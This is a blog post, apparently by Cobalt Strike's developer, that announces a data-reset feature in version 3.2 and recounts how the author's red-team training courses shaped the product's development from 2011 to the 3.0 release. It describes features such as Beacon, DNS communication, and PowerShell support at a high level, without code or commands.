Cobalt Strike 3.2 adds Reporting -> Reset Data. This option allows you to reset Cobalt Strike’s data model without restarting the team server. This feature doesn’t touch your listeners or hosted sites. It does allow you to stand up a ready-to-go attack, test it, and then reset Cobalt Strike’s data model for reporting purposes.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.2. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.


A History of Cobalt Strike in Training Courses

March 2, 2016

In 2011, I was invited to Austin, TX by the local ISSA and OWASP chapters to teach a class on Armitage and the Metasploit Framework. I think we had 90 students. I remember the pain of burning DVDs in preparation for this class. Myself and two of the organizers agreed to split the DVD burning load equally. Fun times.

This workshop also had the first version of my Penetration Testing Lab DVD. It came with a Xubuntu VM for an attack platform, Metasploitable for a remote exploit lab, and a Mint Linux VM for a client-side attack lab.

This half-day workshop was my first time giving a course on hacking. If you want to see it, I also made a screen recording from the slides:

Advanced Threat Tactics (2011)

October 2011, I came to LAS CON and taught a one-day Advanced Threat Tactics course (slides). The subtitle of this 2011 course? From penetration testing to threat emulation. This course was a lot of fun to teach. I taught my students how to execute targeted phishing attacks against then-modern enterprises. We covered how to build a system profiler, cobble together user-driven attacks, and how to send a phishing email by hand.

The timing of this course was good. Shortly after that course, I set to work on a functional specification for what would become Cobalt Strike. It’s hard to pick an initial feature set for a product. You don’t want to pick 10 features and take each of them to the 10% point. The trick is to find 1 or 2 things that are important and take each of them to the 80-90% point. I decided to use my 2011 course as a guide. Cobalt Strike would provide features for actions that 2011’s Advanced Threat Tactics students had to do by hand.

Penetration Testing with Cobalt Strike (2012)

Cobalt Strike’s 2012 release consisted of Armitage, a targeted attack process, and a reporting engine. To me, Cobalt Strike’s initial release was a big blank canvas. I perceived a lot of gaps in the Metasploit Framework and other tools when applied to the red team problem set. Cobalt Strike was my opportunity to work full-time on these and see what I could come up with. Cobalt Strike’s 2012 initial release also came with a new course: Penetration Testing with Cobalt Strike.

In the 12 months after Cobalt Strike’s first release, I got a lot done. I introduced Beacon, Cobalt Strike’s Applet Kit, and a model for distributed operations. I also added DNS communication and SOCKS pivoting to Beacon. The DNS piece was significant. I now had a desirable communication option that most didn’t have access to. The SOCKS pivoting capability led to the ‘meterpreter’ command. This command would seamlessly tunnel Meterpreter through Beacon. I now had an alternate communication layer for Metasploit, without sacrificing features or ease of use!

Tradecraft (2013)

By mid-2013, it was clear that Cobalt Strike’s online material was out of step with what the product had become. I had to redo my online course. I wanted to do it “right” and I wanted it to be as engaging as possible. I bought a microphone so I could make the audio better. I also bought a tablet to whiteboard different concepts during the course. It took about a month to update my slides and record the new course. The result was 2013’s Tradecraft:

As an aside, the whole experience of putting this course together was a nightmare. I had trouble getting used to the tablet and I couldn’t find software to seamlessly change colors without interrupting my presentation. I also had struggles with audio. My office space at the time had too much echo. The best location was the carpeted bedroom in my apartment. To record Tradecraft, I sat cross-legged on my bedroom floor with my laptop propped up on books. If you watch this course, try to imagine this scene.

I was very happy with the final result of the 2013 Tradecraft course. I saw Tradecraft as the culmination of my initial vision for Cobalt Strike. By this point, I had a very solid platform for red team operations, built on top of the Metasploit Framework.

The Road to Cobalt Strike 3.0

I didn’t feel my work was done yet. While I had a solid process based on the Metasploit Framework, I had run into situations where asynchronous communication with Beacon was my only option. I wanted to know that it was possible to fall back to “just Beacon” and operate in these situations.

I began to work on adding Beacon features to complement the things a skilled operator could do from a command shell. For example, I didn’t add automation to run code on a remote host for lateral movement. An operator could do this from a shell. But, I did add token stealing and privilege escalation features. These features combined with what the operator could do from a shell made for a fairly flexible lateral movement capability.

The biggest shift came with Cobalt Strike 2.1. This is the release where I added PowerShell support to Beacon. This release felt like Christmas. I was able to import PowerSploit and PowerTools scripts and use them as-is. Over night, Beacon gained an amazing amount of post-exploitation capability and automation.

My use of Cobalt Strike 2.1 and feedback from users pointed the same way: The combination of Beacon and PowerShell were enough for the red team problem set. Cobalt Strike’s fallback way to operate had become the preferred way for power users. This realization is when Cobalt Strike 3.0 was born.

It was time to evolve and imagine Cobalt Strike without the Metasploit Framework. I sat down, examined Cobalt Strike’s process, and noted which techniques it relies on. I then mapped out how I would do these things without the Metasploit Framework. In some cases, functionality existed elsewhere. Pass-the-hash with Mimikatz is a good example of this. In other cases, it made sense to build new features into Beacon. The screenshot tool and port scanner are good examples of this. This thought exercise became my functional specification and roadmap for Cobalt Strike 3.0.

Advanced Threat Tactics (2015)

Cobalt Strike 3.0 shipped in September 2015. This effort re-aligned Cobalt Strike’s features and workflows around Beacon. I also released 2015’s Advanced Threat Tactics course to cover the modern red teaming process Cobalt Strike 3.0 was built to support.

I’ll end this post with one last thought. Cobalt Strike 3.0’s offensive process is not Cobalt Strike specific. It’s recognition of this fact: a lightweight payload, mimikatz, and PowerShell are the foundations of a modern offensive process. The lightweight payload can be anything, so long as it provides the communication options and flexibility needed to support your operation. 2015’s Advanced Threat Tactics course is significant because it documents this modern process and shows what’s possible with this foundation.


Get every new post delivered to your Inbox.

Join 18,595 other followers